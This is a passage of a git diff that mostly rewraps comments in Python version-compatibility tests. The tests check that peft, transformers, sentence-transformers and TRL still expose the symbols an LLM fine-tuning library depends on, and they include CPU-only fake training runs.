fetch(pkg + "__init__.py")if init is not None:- # Breadth-first, not one level: importing the package runs `.core`, which runs- # whatever IT imports relatively, so a transformers import two levels down breaks- # startup exactly the same way. `seen` keeps a cycle from looping.+ # Breadth-first, not one level: importing the package runs `.core`, which runs whatever IT imports relatively,+ # so a transformers import two levels down breaks startup exactly the same way. `seen` keeps a cycle from+ # looping.sources = [init]- # Each entry is the module's dotted path from the package root. A child's own- # relative imports resolve against ITS package, not the root: in a nested split- # where `__init__` imports `.sub.core` and `sub/core.py` imports `.ops`, Python- # reads that as `sub.ops`, so carry the prefix rather than fetching `ops.py`.+ # Each entry is the module's dotted path from the package root.+ # A child's own relative imports resolve against ITS package, not the root: in a nested split where `__init__`+ # imports `.sub.core` and `sub/core.py` imports `.ops`, Python reads that as `sub.ops`, so carry the prefix+ # rather than fetching `ops.py`.pending = _resolved_relative_targets("", init)seen = set()while pending:@@ -265,11 +264,10 @@ def _peft_converter_source():if (exc.name or "") in (module, "peft.utils", "peft"):pytest.skip("this peft has no weight converter")raise- # If peft turns the converter into a package, `getsource` returns only the- # `__init__.py` re-exports, and the implementation's own transformers- # imports -- the ones that would fail at startup -- are never read. That is- # the packaging churn this whole fallback exists for, so read the child- # modules too rather than a shim that imports nothing.+ # If peft turns the converter into a package, `getsource` returns only the `__init__.py` re-exports, and the+ # implementation's own transformers imports -- the ones that would fail at startup -- are never read. That is+ # the packaging churn this whole fallback exists for, so read the child modules too rather than a shim that+ # imports nothing.sources = [inspect.getsource(loaded)]for path in getattr(loaded, "__path__", ()) or ():import pkgutil@@ -281,8 +279,7 @@ def _peft_converter_source():return "\n".join(sources)-# The converter package itself, so an absolute import of its own children-# can be told from an unrelated one.+# The converter package itself, so an absolute import of its own children can be told from an unrelated one._CONVERTER_MODULE = "peft.utils.transformers_weight_conversion"@@ -325,11 +322,10 @@ def _relative_import_targets(src):def visit(body) -> None:for node in body:- # Absolute, but still the package's own child: peft can re-export- # its implementation as `from peft.utils.transformers_weight_conversion- # .core import build`, which loads the same file a relative import- # would and was queued by neither branch. Level 0 marks a name that- # is already rooted at the converter package.+ # Absolute, but still the package's own child: peft can re-export its implementation as `from+ # peft.utils.transformers_weight_conversion.core import build`, which loads the same file a relative+ # import would and was queued by neither branch. Level 0 marks a name that is already rooted at the+ # converter package.if (isinstance(node, ast.ImportFrom)and not node.level@@ -352,12 +348,10 @@ def _relative_import_targets(src):if isinstance(node, ast.ImportFrom) and node.level:if node.module:targets.append((node.level, node.module))- # `from .sub import core` imports `pkg.sub.core` when `core`- # is a module, whether or not `sub/__init__.py` re-exports- # it, and queueing only `sub` read the shim and none of the- # transformers imports in the file that actually has them.- # A name that turns out to be a symbol is simply a fetch- # that finds nothing, which the caller already skips.+ # `from .sub import core` imports `pkg.sub.core` when `core` is a module, whether or not+ # `sub/__init__.py` re-exports it, and queueing only `sub` read the shim and none of the+ # transformers imports in the file that actually has them. A name that turns out to be a symbol is+ # simply a fetch that finds nothing, which the caller already skips.targets.extend((node.level, f"{node.module}.{alias.name}")for alias in node.names@@ -371,9 +365,9 @@ def _relative_import_targets(src):if isinstance(node, ast.If) and _is_type_checking(node.test):visit(node.body if isinstance(node.test, ast.UnaryOp) else node.orelse)continue- # Same import-time traversal as `_transformers_imports`: a package can pull its- # implementation in from inside `if not TYPE_CHECKING:` or a `try:`, and importing- # it still runs that, so those children have to be walked too.+ # Same import-time traversal as `_transformers_imports`: a package can pull its implementation in from+ # inside `if not TYPE_CHECKING:` or a `try:`, and importing it still runs that, so those children have to+ # be walked too.for field in ("body", "orelse", "finalbody", "handlers", "cases"):child = getattr(node, field, None)if not isinstance(child, list):@@ -428,10 +422,9 @@ def _transformers_imports(src):if isinstance(node, ast.ImportFrom) and (node.module or "").startswith("transformers"):out.setdefault(node.module, set()).update(a.name for a in node.names)continue- # `import transformers.x` raises the same startup ModuleNotFoundError- # as the `from` form, and skipping it let a newly required submodule- # break the converter with this check still green. It binds no- # symbols, so the module is recorded with an empty set.+ # `import transformers.x` raises the same startup ModuleNotFoundError as the `from` form, and skipping it+ # let a newly required submodule break the converter with this check still green. It binds no symbols, so+ # the module is recorded with an empty set.if isinstance(node, ast.Import):for alias in node.names:if alias.name.startswith("transformers"):@@ -504,8 +497,8 @@ def test_only_imports_that_run_at_module_load_are_collected():"transformers.runtime": {"AtRuntime"},"transformers.optional": {"MaybeThere"},"transformers.fallback": {"Instead"},- # A module-level class body runs the moment the class is defined, so an import in one- # can break the very import this backfill absorbs. A class inside a function does not.+ # A module-level class body runs the moment the class is defined, so an import in one can break the very import+ # this backfill absorbs. A class inside a function does not."transformers.classbody": {"AtClassCreation"},}@@ -688,10 +681,9 @@ def test_an_unrecoverable_conversion_map_fails_on_use(caplog):with pytest.raises(RuntimeError):copied["qwen3_moe"]- # But peft reaches _convert_peft_config_moe for ANY model type with a checkpoint- # conversion mapping, and for a non-MoE one None IS the right answer: the function- # returns without a MoE rewrite, exactly as it would with the real map. Raising there- # would break ordinary adapter loads to guard a case they are not in.+ # But peft reaches _convert_peft_config_moe for ANY model type with a checkpoint conversion mapping, and for a+ # non-MoE one None IS the right answer: the function returns without a MoE rewrite, exactly as it would with the+ # real map. Raising there would break ordinary adapter loads to guard a case they are not in.assert copied.get("llama", None) is Noneassert copied.get("gemma3", "fallback") == "fallback"with pytest.raises(KeyError):@@ -756,10 +748,9 @@ def test_a_re_exporting_package_is_followed_to_its_implementation(monkeypatch):def test_the_symbol_list_matches_what_peft_imports():"""Two lists that can drift; peft's own source is the authority."""- # Not `importorskip`: on pytest 8 to 9.0 that also swallows an ImportError- # raised INSIDE an existing converter, which is exactly the drift this test- # exists to catch -- peft adding an import we do not backfill would report- # as a skip. Skip only when the module is genuinely absent.+ # Not `importorskip`: on pytest 8 to 9.0 that also swallows an ImportError raised INSIDE an existing converter,+ # which is exactly the drift this test exists to catch -- peft adding an import we do not backfill would report as+ # a skip. Skip only when the module is genuinely absent.imports = _transformers_imports(_peft_converter_source())known = F._PEFT_CONVERSION_SYMBOLSfor module, imported in imports.items():diff --git a/tests/version_compat/test_peft_pinned_symbols.py b/tests/version_compat/test_peft_pinned_symbols.pyindex d322ecf6785..bbbc357d827 100644--- a/tests/version_compat/test_peft_pinned_symbols.py+++ b/tests/version_compat/test_peft_pinned_symbols.py@@ -15,8 +15,7 @@ import pytestfrom tests.version_compat._fetch import fetch_text, first_match, has_def-# pyproject pin: peft>=0.18.0. Test the floor + each minor since.-# `main` catches breakage before a release lands.+# pyproject pin: peft>=0.18.0. Test the floor + each minor since. `main` catches breakage before a release lands.PEFT_TAGS = ["v0.18.0","v0.18.1",@@ -26,10 +25,8 @@ PEFT_TAGS = []-# Top-level re-exports: sentence_transformer.py:1948 does `from peft import-# LoraConfig, get_peft_model`; unsloth_zoo saving_utils/lora extractors hit PeftModel.--+# Top-level re-exports: sentence_transformer.py:1948 does `from peft import LoraConfig, get_peft_model`;+# unsloth_zoo saving_utils/lora extractors hit PeftModel.@pytest.mark.parametrize("tag", PEFT_TAGS)def test_peft_top_level_exports(tag: str):src = fetch_text("huggingface/peft", tag, "src/peft/__init__.py")@@ -47,11 +44,9 @@ def test_peft_top_level_exports(tag: str):)-# LoraConfig at the canonical sub-module path: peft.tuners.lora.LoraConfig-# (or peft.tuners.lora.config.LoraConfig). unsloth-zoo's normaliser inspects-# it via getattr() and dataclass field introspection.--+# LoraConfig at the canonical sub-module path: peft.tuners.lora.LoraConfig (or+# peft.tuners.lora.config.LoraConfig). unsloth-zoo's normaliser inspects it via getattr() and dataclass field+# introspection.@pytest.mark.parametrize("tag", PEFT_TAGS)def test_peft_lora_config_class(tag: str):candidates = [@@ -68,8 +63,6 @@ def test_peft_lora_config_class(tag: str):# get_peft_model: top-level helper used by sentence_transformer.py:2043.--@pytest.mark.parametrize("tag", PEFT_TAGS)def test_get_peft_model_function(tag: str):"""get_peft_model may live in mapping.py or mapping_func.py (0.18+ split)."""@@ -86,10 +79,8 @@ def test_get_peft_model_function(tag: str):pytest.fail(f"{tag}: def get_peft_model(...) not found in any of {candidates}")-# LoraLayer base class: unsloth-zoo's MoE LoRA extractor walks subclasses of-# peft.tuners.lora.LoraLayer. A rename/move makes the walk silently return 0.--+# LoraLayer base class: unsloth-zoo's MoE LoRA extractor walks subclasses of peft.tuners.lora.LoraLayer. A+# rename/move makes the walk silently return 0.@pytest.mark.parametrize("tag", PEFT_TAGS)def test_peft_lora_layer_class(tag: str):candidates = [@@ -108,10 +99,8 @@ def test_peft_lora_layer_class(tag: str):)-# bnb-aware LoRA: peft.tuners.lora.bnb is the bitsandbytes integration point.-# Missing it -> 4bit LoRA silently falls back to fp16 (bigger memory footprint).--+# bnb-aware LoRA: peft.tuners.lora.bnb is the bitsandbytes integration point. Missing it -> 4bit LoRA silently+# falls back to fp16 (bigger memory footprint).@pytest.mark.parametrize("tag", PEFT_TAGS)def test_peft_lora_bnb_integration(tag: str):candidates = [@@ -144,10 +133,8 @@ def test_peft_lora_bnb_integration(tag: str):# unsloth#5015, #5167, #5036, #4807 + unsloth-zoo#618, #596, #482, #430.-# 1. peft.tuners.lora.layer.VARIANT_KWARG_KEYS — added in peft 0.18.-# unsloth-zoo#430 injects the import into the compiled forward.--+# 1. peft.tuners.lora.layer.VARIANT_KWARG_KEYS, added in peft 0.18. unsloth-zoo#430 injects the import into the+# compiled forward.@pytest.mark.parametrize("tag", PEFT_TAGS)def test_peft_variant_kwarg_keys_const(tag: str):src = fetch_text("huggingface/peft", tag, "src/peft/tuners/lora/layer.py")@@ -160,10 +147,8 @@ def test_peft_variant_kwarg_keys_const(tag: str):)-# 2. peft.tuners.lora.layer.ParamWrapper — peft 0.18 added the class for MoE-# 3D-parameter LoRA. unsloth-zoo#618 monkey-patches the MoE LoRA extractor.--+# 2. peft.tuners.lora.layer.ParamWrapper: peft 0.18 added the class for MoE 3D-parameter LoRA. unsloth-zoo#618+# monkey-patches the MoE LoRA extractor.@pytest.mark.parametrize("tag", PEFT_TAGS)def test_peft_param_wrapper_class(tag: str):src = fetch_text("huggingface/peft", tag, "src/peft/tuners/lora/layer.py")@@ -179,10 +164,8 @@ def test_peft_param_wrapper_class(tag: str):_present = name in src-# 3. peft.tuners.lora.LoraConfig.target_parameters — peft 0.19+. Used by-# unsloth-zoo's MoE target-parameter extractor.--+# 3. peft.tuners.lora.LoraConfig.target_parameters: peft 0.19+. Used by unsloth-zoo's MoE target-parameter+# extractor.@pytest.mark.parametrize("tag", PEFT_TAGS)def test_peft_lora_config_target_parameters(tag: str):src = fetch_text("huggingface/peft", tag, "src/peft/tuners/lora/config.py")@@ -198,10 +181,8 @@ def test_peft_lora_config_target_parameters(tag: str):)-# 4. peft.tuners.lora.model.LoraModel._create_and_replace — unsloth#4807-# monkey-patches this for Gemma4ClippableLinear.--+# 4. peft.tuners.lora.model.LoraModel._create_and_replace: unsloth#4807 monkey-patches this for+# Gemma4ClippableLinear.@pytest.mark.parametrize("tag", PEFT_TAGS)def test_peft_lora_model_create_and_replace(tag: str):src = fetch_text("huggingface/peft", tag, "src/peft/tuners/lora/model.py")@@ -214,10 +195,8 @@ def test_peft_lora_model_create_and_replace(tag: str):)-# 5. peft.utils.transformers_weight_conversion.build_peft_weight_mapping —-# unsloth#5167 wraps it to handle WeightConversion.__init__ kwargs.--+# 5. peft.utils.transformers_weight_conversion.build_peft_weight_mapping: unsloth#5167 wraps it to handle+# WeightConversion.__init__ kwargs.@pytest.mark.parametrize("tag", PEFT_TAGS)def test_peft_transformers_weight_conversion_module(tag: str):candidates = [@@ -236,10 +215,7 @@ def test_peft_transformers_weight_conversion_module(tag: str):)-# 6. peft.utils.integrations.dequantize_module_weight — used by 3 unsloth/-# unsloth-zoo callsites.--+# 6. peft.utils.integrations.dequantize_module_weight: used by 3 unsloth/unsloth-zoo callsites.@pytest.mark.parametrize("tag", PEFT_TAGS)def test_peft_integrations_dequantize_module_weight(tag: str):candidates = [@@ -256,9 +232,7 @@ def test_peft_integrations_dequantize_module_weight(tag: str):)-# 7. peft.PeftType.LORA — used by unsloth-zoo vllm_utils.py:2520-2559.--+# 7. peft.PeftType.LORA: used by unsloth-zoo vllm_utils.py:2520-2559.@pytest.mark.parametrize("tag", PEFT_TAGS)def test_peft_type_lora_enum(tag: str):candidates = [@@ -270,8 +244,7 @@ def test_peft_type_lora_enum(tag: str):src = fetch_text("huggingface/peft", tag, p)if src is None:continue- # Either `class PeftType(...)` definition with LORA member, or- # re-export from a submodule.+ # Either `class PeftType(...)` definition with LORA member, or re-export from a submodule.if "PeftType" in src and ("LORA" in src or "lora" in src.lower()):returnpytest.fail(@@ -280,10 +253,7 @@ def test_peft_type_lora_enum(tag: str):)-# 8. peft.utils.ModulesToSaveWrapper — both peft.utils.* and-# peft.utils.other.* import paths used.--+# 8. peft.utils.ModulesToSaveWrapper: both peft.utils.* and peft.utils.other.* import paths used.@pytest.mark.parametrize("tag", PEFT_TAGS)def test_peft_modules_to_save_wrapper(tag: str):candidates = [@@ -303,9 +273,7 @@ def test_peft_modules_to_save_wrapper(tag: str):)-# 9. peft.PeftModel.from_pretrained signature pin — unsloth#4807.--+# 9. peft.PeftModel.from_pretrained signature pin: unsloth#4807.@pytest.mark.parametrize("tag", PEFT_TAGS)def test_peft_peft_model_from_pretrained_signature(tag: str):src = fetch_text("huggingface/peft", tag, "src/peft/peft_model.py")@@ -317,8 +285,6 @@ def test_peft_peft_model_from_pretrained_signature(tag: str):# 10. peft.__version__ exported via known mechanism.--@pytest.mark.parametrize("tag", PEFT_TAGS)def test_peft_version_parseable(tag: str):src = fetch_text("huggingface/peft", tag, "src/peft/__init__.py")diff --git a/tests/version_compat/test_sentence_transformers_pinned_symbols.py b/tests/version_compat/test_sentence_transformers_pinned_symbols.pyindex a9db7b8d568..bc1555e3224 100644--- a/tests/version_compat/test_sentence_transformers_pinned_symbols.py+++ b/tests/version_compat/test_sentence_transformers_pinned_symbols.py@@ -44,7 +44,6 @@ def test_st_models_re_exports(tag: str):"""Transformer / Pooling / Normalize must stay reachable via`sentence_transformers.models` despite the ST 5.4 package reorg."""# Layout 1 (legacy < 5.4): sentence_transformers/models[.py|/__init__.py].- # Layout 2 (>= 5.4): top-level re-exports; modules under base/modules + sentence_transformer/.legacy_candidates = ["sentence_transformers/models/__init__.py","sentence_transformers/models.py",@@ -61,9 +60,8 @@ def test_st_models_re_exports(tag: str):)return- # ST 5.4+ modular layout: classes moved under base/modules and- # sentence_transformer/modules; backward compat wired via- # setup_deprecated_module_imports in __init__.py.+ # ST 5.4+ modular layout: classes moved under base/modules and sentence_transformer/modules;+ # backward compat wired via setup_deprecated_module_imports in __init__.py.expected_paths = {"Transformer": ["sentence_transformers/base/modules/transformer.py",@@ -75,10 +73,9 @@ def test_st_models_re_exports(tag: str):"sentence_transformers/sentence_transformer/Pooling.py",],"Normalize": [- # ST master moved Normalize down beside Transformer under base/modules,- # which is where the reorg has been heading: Transformer above already- # lists its base/modules path first. Released 5.4 through 5.6 still keep- # it under sentence_transformer/modules, so both spellings stay listed+ # ST master moved Normalize down beside Transformer under base/modules, which is where the reorg has been+ # heading: Transformer above already lists its base/modules path first.+ # Released 5.4 through 5.6 still keep it under sentence_transformer/modules, so both spellings stay listed# and every tag in ST_TAGS resolves."sentence_transformers/base/modules/normalize.py","sentence_transformers/sentence_transformer/modules/normalize.py",@@ -97,8 +94,7 @@ def test_st_models_re_exports(tag: str):top = fetch_text("UKPLab/sentence-transformers", tag, "sentence_transformers/__init__.py")assert top is not None, f"{tag}: sentence_transformers/__init__.py missing"has_shim = bool(- re.search(r"setup_deprecated_module_imports\s*\(", top)- or "import_from_string" in top # fallback signal+ re.search(r"setup_deprecated_module_imports\s*\(", top) or "import_from_string" in top)assert has_shim, (f"{tag}: ST 5.4+ layout: deprecated-module shim NOT wired in "@@ -180,7 +176,6 @@ def test_st_util_helpers(tag: str):defined_here = has_def(src, fn, "func")reexported = bool(re.search(rf"\b{re.escape(fn)}\b", src))if not (defined_here or reexported):- # Modular-layout subfiles.subpaths = ["sentence_transformers/util/import_utils.py","sentence_transformers/util/file_utils.py",diff --git a/tests/version_compat/test_transformers_pinned_symbols.py b/tests/version_compat/test_transformers_pinned_symbols.pyindex 0855d5bb524..1c4a5e0708a 100644--- a/tests/version_compat/test_transformers_pinned_symbols.py+++ b/tests/version_compat/test_transformers_pinned_symbols.py@@ -34,8 +34,8 @@ TRANSFORMERS_TAGS = ["v5.10.0","v5.10.1","v5.10.2",- # Upstream tagged PyPI 5.10.4 as v5.10.3 (the tag's __init__ says 5.10.4);- # there is no v5.10.4 tag and no 5.10.3 on PyPI, so fetch by the tag name.+ # Upstream tagged PyPI 5.10.4 as v5.10.3 (the tag's __init__ says 5.10.4); there is no v5.10.4 tag and no 5.10.3 on+ # PyPI, so fetch by the tag name."v5.10.3","v5.11.0","v5.12.0",@@ -49,8 +49,6 @@ TRANSFORMERS_TAGS = [# Trainer surface: unsloth/models/_utils.py rewrites Trainer.{__init__, training_step, get_batch_samples, compute_loss}.--@pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)def test_trainer_class_importable_path(tag: str):"""transformers.Trainer must remain at trainer.py or trainer/__init__.py."""@@ -131,8 +129,6 @@ def test_trainer_inner_training_loop_inplace_loss_v5(tag: str):# modeling_utils: checkpoint, PushToHubMixin, ALL_ATTENTION_FUNCTIONS.--@pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)def test_modeling_utils_exposes_checkpoint(tag: str):"""unsloth-zoo#549: transformers 5.2+ uses modeling_utils.checkpoint; patch must replace it, not just torch's."""@@ -162,13 +158,10 @@ def test_pushtohubmixin_create_repo_status(tag: str):if src is None:pytest.skip(f"{tag}: modeling_utils.py missing")has_create = bool(re.search(r"def _create_repo\b", src) or "_create_repo" in src)- # Informational only._ = has_create# integrations.bitsandbytes: _replace_with_bnb_linear vs new path.--@pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)def test_integrations_bitsandbytes_module_present(tag: str):src = fetch_text(@@ -193,15 +186,11 @@ def test_quantizers_should_convert_module_signature(tag: str):pytest.skip(f"{tag}: quantizers/quantizers_utils.py missing")if not has_def(src, "should_convert_module", "func"):pytest.skip(f"{tag}: should_convert_module not yet present (4.x)")- # Catch substring matching in `.{key}.` form.has_dot_form = ".{key}." in src or "f'.{key}.'" in src or 'f".{key}."' in src- # Informational only._ = has_dot_form# integrations.finegrained_fp8.FP8Linear: bias/has_bias rename in v5.--@pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)def test_fp8linear_init_param_names(tag: str):"""unsloth-zoo#572: transformers 5.x renamed FP8Linear.__init__ `bias` -> `has_bias`."""@@ -221,9 +210,6 @@ def test_fp8linear_init_param_names(tag: str):), f"{tag}: FP8Linear.__init__ has neither `bias` nor `has_bias` param"-# processing_utils: Unpack importable.--@pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)def test_processing_utils_unpack_importable(tag: str):"""unsloth-zoo#583/584: transformers.processing_utils.Unpack must keep importing."""@@ -290,9 +276,6 @@ def test_auto_factory_lazy_mapping_private_api(tag: str):)-# configuration_utils: PreTrainedConfig vs PretrainedConfig in 5.x.--@pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)def test_configuration_utils_alias(tag: str):"""transformers 5.x renamed PretrainedConfig -> PreTrainedConfig; unsloth-zoo imports both defensively."""@@ -312,8 +295,6 @@ def test_configuration_utils_alias(tag: str):# tokenization: apply_chat_template return_dict default flip in v5.--@pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)def test_apply_chat_template_signature_present(tag: str):"""unsloth-zoo#572: apply_chat_template `return_dict` default flipped False -> True in transformers 5.x."""@@ -330,8 +311,6 @@ def test_apply_chat_template_signature_present(tag: str):# Generic-importability sweep: every transformers symbol unsloth/zoo imports must stay reachable.--@pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)def test_modeling_attn_mask_utils_symbols(tag: str):"""_prepare_4d_attention_mask_for_sdpa is imported by unsloth/models/llama.py + sentence_transformer.py."""@@ -349,6 +328,7 @@ def test_modeling_attn_mask_utils_symbols(tag: str):), f"{tag}: _prepare_4d_attention_mask_for_sdpa missing"+# Generic-importability sweep:@pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)def test_cache_utils_classes(tag: str):src = fetch_text("huggingface/transformers", tag, "src/transformers/cache_utils.py")diff --git a/tests/version_compat/test_trl_fake_train_cpu.py b/tests/version_compat/test_trl_fake_train_cpu.pyindex 0162e599ef8..68b07678334 100644--- a/tests/version_compat/test_trl_fake_train_cpu.py+++ b/tests/version_compat/test_trl_fake_train_cpu.py@@ -21,8 +21,8 @@ from __future__ import annotationsimport os-# CPU-only: no torch.compile / dynamo (it reaches into the CUDA accelerator), no-# Unsloth kernel compile, no mixed precision. Must be set before torch/unsloth.+# CPU-only: no torch.compile / dynamo (it reaches into the CUDA accelerator), no Unsloth kernel compile, no mixed+# precision. Must be set before torch/unsloth.os.environ.setdefault("UNSLOTH_COMPILE_DISABLE", "1")os.environ.setdefault("TORCHDYNAMO_DISABLE", "1")os.environ.setdefault("TORCH_COMPILE_DISABLE", "1")@@ -36,8 +36,8 @@ from pathlib import Pathimport pytest-# torch is needed for everything below (daily-fresh-fetch collects this dir with-# only pytest installed); skip the whole module cleanly when it is absent.+# torch is needed for everything below (daily-fresh-fetch collects this dir with only pytest installed); skip the whole+# module cleanly when it is absent.if importlib.util.find_spec("torch") is None:pytest.skip("torch not installed; fake CPU train needs the real runtime", allow_module_level = True@@ -53,11 +53,10 @@ _spoof.apply()import torch # noqa: E402-# The generated GRPO trainer hard-decorates hot functions with @torch.compile,-# which dynamo processes even under the disable env vars, reaching into-# torch.accelerator (real CUDA) on a GPU-less box. Make torch.compile an eager-# passthrough before unsloth generates/imports the trainer -- same logic, no-# dynamo. (An eager CPU run is exactly what we want here.)+# The generated GRPO trainer hard-decorates hot functions with @torch.compile, which dynamo processes even under the+# disable env vars, reaching into torch.accelerator (real CUDA) on a GPU-less box. Make torch.compile an eager+# passthrough before unsloth generates/imports the trainer -- same logic, no dynamo. (An eager CPU run is exactly what+# we want here.)def _eager_compile(model = None,*args,@@ -86,9 +85,8 @@ def _fake_cpu_gpu(mp):"""mp.setattr(torch, "compile", _eager_compile)- # Belt-and-suspenders: if any @torch.compile still routes through dynamo,- # let it fall back to eager instead of crashing, and stop its stream-capture- # probe from reaching torch.accelerator -> real CUDA on a GPU-less box.+ # Belt-and-suspenders: if any @torch.compile still routes through dynamo, let it fall back to eager instead of+ # crashing, and stop its stream-capture probe from reaching torch.accelerator -> real CUDA on a GPU-less box.try:# Aliased: a bare `import torch._dynamo` would rebind `torch` as a local.import torch._dynamo as _dynamo@@ -99,10 +97,9 @@ def _fake_cpu_gpu(mp):if hasattr(torch, "accelerator"):mp.setattr(torch.accelerator, "is_available", lambda *a, **k: False)- # Redirect any `device="cuda"` tensor allocation / `.to("cuda")` / `.cuda()`- # to CPU. The aggressive spoof deliberately keeps real allocators, but a fake- # CPU train needs cuda-targeted ops (e.g. inductor's init_gpu_context does- # `torch.empty(1, device="cuda")`) to land on CPU instead of erroring.+ # Redirect any `device="cuda"` tensor allocation / `.to("cuda")` / `.cuda()` to CPU.+ # The aggressive spoof deliberately keeps real allocators, but a fake CPU train needs cuda-targeted ops (e.g.+ # inductor's init_gpu_context does `torch.empty(1, device="cuda")`) to land on CPU instead of erroring.for _name in ("empty","zeros",@@ -152,8 +149,8 @@ def _fake_cpu_gpu(mp):except Exception:pass- # A broken libmlx.so in the shared site-packages crashes transformers' Mac-only- # is_mlx_array probe on Linux; disable it.+ # A broken libmlx.so in the shared site-packages crashes transformers' Mac-only is_mlx_array probe on Linux; disable+ # it.try:import transformers.utils.generic as _gmp.setattr(_g, "_is_mlx_available", False, raising = False)@@ -201,8 +198,7 @@ def _guard_finite_logits(model):logits = getattr(output, "logits", None)if logits is None:return output- # nan_to_num maps nan -> 0 and the infinities to large finite values;- # clamp then bounds everything to [-30, 30].+ # nan_to_num maps nan -> 0 and the infinities to large finite values; clamp then bounds everything to [-30, 30].output.logits = torch.nan_to_num(logits).clamp(-30.0, 30.0)return output@@ -222,9 +218,8 @@ def _load_plain():pytest.skip(f"could not fetch {_MODEL} (network/hub): {str(e)[:150]}")if tok.pad_token is None:tok.pad_token = tok.eos_token- # Unsloth's GRPO path calls model.for_training()/for_inference() (added by- # FastLanguageModel). A plain HF model lacks them; supply minimal train/eval- # equivalents so the loop proceeds without the optimized wrapper.+ # Unsloth's GRPO path calls model.for_training()/for_inference() (added by FastLanguageModel). A plain HF model+ # lacks them; supply minimal train/eval equivalents so the loop proceeds without the optimized wrapper.if not hasattr(model, "for_training"):model.for_training = lambda *a, **k: model.train()if not hasattr(model, "for_inference"):@@ -240,13 +235,11 @@ def _require_stack(_cpu_only_torch):# A real import failure is a regression we want to surface, so do not guard it.import unsloth # noqa: F401 -- patches TRL trainers to the Unsloth variants- # `import unsloth` reinstalls the real torch.compile (overwriting the eager- # passthrough set at module load), so the GRPO hot path (chunked_selective_- # log_softmax) would really compile -- and inductor picks the spoofed CUDA- # device, crashing on device props (`gcnArchName`). Re-apply the eager- # passthrough and flip dynamo's call-time kill switch so every @torch.compile- # runs eager regardless of when it was decorated. CPU eager is what we want.- # Through the module's MonkeyPatch, so both are undone with the rest of it.+ # `import unsloth` reinstalls the real torch.compile (overwriting the eager passthrough set at module load), so the+ # GRPO hot path (chunked_selective_log_softmax) would really compile -- and inductor picks the spoofed CUDA device,+ # crashing on device props (`gcnArchName`). Re-apply the eager passthrough and flip dynamo's call-time kill switch+ # so every @torch.compile runs eager regardless of when it was decorated. CPU eager is what we want. Through the+ # module's MonkeyPatch, so both are undone with the rest of it._cpu_only_torch.setattr(torch, "compile", _eager_compile)try:import torch._dynamo # noqa: E402@@ -286,10 +279,9 @@ def test_grpo_trains_on_cpu(tmp_path):assert GRPOTrainer.__name__ == "UnslothGRPOTrainer", "GRPO patch did not apply"model, tok = _load_plain()- # GRPO is the only canary that autoregressively samples completions, so it is- # the only one that can hit the non-finite-logits multinomial crash. Install- # the guard here (not in _load_plain) so the SFT/DPO canaries keep asserting- # against the model's true, unclamped outputs.+ # GRPO is the only canary that autoregressively samples completions, so it is the only one that can hit the+ # non-finite-logits multinomial crash. Install the guard here (not in _load_plain) so the SFT/DPO canaries keep+ # asserting against the model's true, unclamped outputs._guard_finite_logits(model)ds = Dataset.from_list([{"prompt": "hi there"}] * 4)cfg = GRPOConfig(diff --git a/tests/version_compat/test_trl_grpo_fake_run.py b/tests/version_compat/test_trl_grpo_fake_run.pyindex c79c9955da6..146db1e0982 100644--- a/tests/version_compat/test_trl_grpo_fake_run.py+++ b/tests/version_compat/test_trl_grpo_fake_run.py@@ -31,14 +31,12 @@ from pathlib import Pathimport pytest-# daily-fresh-fetch collects tests/version_compat/ with only pytest installed;-# the spoof and the rest of this module need the real torch runtime. Skip the-# whole module cleanly when torch is absent rather than crashing collection.+# daily-fresh-fetch collects tests/version_compat/ with only pytest installed; the spoof and the rest of this module+# need the real torch runtime. Skip the whole module cleanly when torch is absent rather than crashing collection.if importlib.util.find_spec("torch") is None:pytest.skip("torch not installed; fake-run needs the real runtime", allow_module_level = True)-# Apply the spoof BEFORE any unsloth-touching import (mirrors-# tests/vllm_compat/test_extended_module_imports.py).+# Apply the spoof BEFORE any unsloth-touching import (mirrors tests/vllm_compat/test_extended_module_imports.py)._SPOOF_DIR = Path(__file__).resolve().parents[1]sys.path.insert(0, str(_SPOOF_DIR))import _zoo_aggressive_cuda_spoof as _spoof # noqa: E402@@ -81,9 +79,9 @@ def _patch_grpo_and_get_source() -> str:f"{patched.__name__!r}, expected 'UnslothGRPOTrainer' (transform failed "f"or dispatch key drifted on this TRL)")- # The transformed body (__init__ rewrites, injected per-token-logps) lives in- # the generated module's `_UnslothGRPOTrainer` base + module-level funcs, not- # the thin UnslothGRPOTrainer subclass -- read the whole generated module.+ # The transformed body (__init__ rewrites, injected per-token-logps) lives in the generated module's+ # `_UnslothGRPOTrainer` base + module-level funcs, not the thin UnslothGRPOTrainer subclass -- read the+ # whole generated module.mod = inspect.getmodule(patched)return inspect.getsource(mod) if mod is not None else inspect.getsource(patched)@@ -94,9 +92,6 @@ def generated_grpo_source():pytest.skip("unsloth not installed")if importlib.util.find_spec("trl") is None:pytest.skip("trl not installed")- # Do NOT swallow import errors: unsloth is installed here, so a failing- # `import unsloth` is exactly the import-time TRL/transformers drift this- # canary must surface as a failure, not a skip.import unsloth # noqa: F401 -- _gpu_init bootstrap under spoofreturn _patch_grpo_and_get_source()@@ -164,17 +159,12 @@ def test_grpo_patch_neutralizes_ref_adapter_and_qlora_cast(generated_grpo_source), "TRL's hardcoded QLoRA bf16 cast survived; rl.py neutralization no-oped"-# SFT / DPO: the same source-transform patcher runs on them (a fake patch run,-# no training), so a structural TRL change can break generation. Assert the patch-# produces a valid, importable Unsloth trainer AND that the shared QLoRA-# `_is_quantized_model` bf16 cast is neutralized (TRL 1.7's spelling), which the-# patcher applies to every trainer. Catches "and or others" beyond GRPO.--+# SFT / DPO: the same source-transform patcher runs on them (a fake patch run, no training), so a structural TRL change+# can break generation.+# Catches "and or others" beyond GRPO.def _patch_and_get_source(trainer_file: str, trainer_cls: str) -> str:if importlib.util.find_spec("unsloth") is None or importlib.util.find_spec("trl") is None:pytest.skip("unsloth or trl not installed")- # Let a real import failure fail the test (import-time drift is the target).import unsloth # noqa: F401import trl.trainer # noqa: F401diff --git a/tests/version_compat/test_trl_grpo_pinned_symbols.py b/tests/version_compat/test_trl_grpo_pinned_symbols.pyindex 1f4feef0a8c..0e2ee67d259 100644--- a/tests/version_compat/test_trl_grpo_pinned_symbols.py+++ 